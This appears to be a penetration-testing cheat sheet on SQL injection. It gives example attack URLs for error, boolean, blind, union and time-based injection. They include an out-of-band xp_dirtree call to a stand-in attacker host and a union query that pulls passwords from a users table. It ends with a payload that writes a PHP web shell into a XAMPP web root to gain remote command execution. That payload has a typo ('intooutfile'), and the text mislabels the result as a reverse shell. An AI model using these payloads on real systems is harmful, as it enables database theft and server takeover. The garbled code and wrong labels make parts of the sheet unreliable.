SQLi

SQL Injection (SQLi) is a type of an injection attack that makes it possible to execute malicious SQL statements. These statements control a database server behind a web application. Attackers can use SQL Injection vulnerabilities to bypass application security measures.

Payloads

https://github.com/payloadbox/sql-injection-payload-listgithub.com

Payload list

Types

Error based

Forcing the database to perform some operation in which the result will be an error. Then try to extract some data from the database and show it in the error message.

Example

https://www.example.beaglesecurity.com/gallery.php?id=6'

Boolean based

Relies on sending an SQL query to the database which forces the application to return a different result depending on whether the query returns a TRUE or FALSE result.

Example

https://www.example.beaglesecurity.com/gallery.php?id=6' AND 1=1 --+

Blind based

Sending payloads, observing the web application’s response and the resulting behavior of the database server. Check payloads.

Example

https://example.com/products.aspx?id=1;EXEC master..xp_dirtree '\\test.attacker.com\' --

Union based

UNION-based attacks allow the tester to easily extract information from the database. Because the UNION operator can only be used if both queries have the exact same structure, the attacker must craft a SELECT statement similar to the original query.

Example

https://example.com/products.aspx?id=1' UNION SELECT passwords from users;

Time based

Forces the database to wait for a specified amount of time (in seconds) before responding. The response time will indicate to the attacker whether the result of the query is TRUE or FALSE.

Example

https://example.com/products.aspx?id=1' and if(substring(user(),2,1)='a',SLEEP(5),1)--

SQLi to RCE

Using XAMP

https://kayran.io/blog/web-vulnerabilities/sqli-to-rcekayran.io

Payload

# Inject cmd parameter
' union select 1,<php_payload>,3,4 into outfile <path> --
' union select 1,'<?php system($_GET["cmd"]); ?>',3,4 intooutfile 'C:\\xampp\\htdocs\\rce.php' --

# Reverse Shell created. Access from outside :
<host>/rce.php?cmd=<command>

# Test :
127.0.0.1/rce.php?cmd=time
# Result : The current time is: 16:22:25.20 Enter the new time: 3 4